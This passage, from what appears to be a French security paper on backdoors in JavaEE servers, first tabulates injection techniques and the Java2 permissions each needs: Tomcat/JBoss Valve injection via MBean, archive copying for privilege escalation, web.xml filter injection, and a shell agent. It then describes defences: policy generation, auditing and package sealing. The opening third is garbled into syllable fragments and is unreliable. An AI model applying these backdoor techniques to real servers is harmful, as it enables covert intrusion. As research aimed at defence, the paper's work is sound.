ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
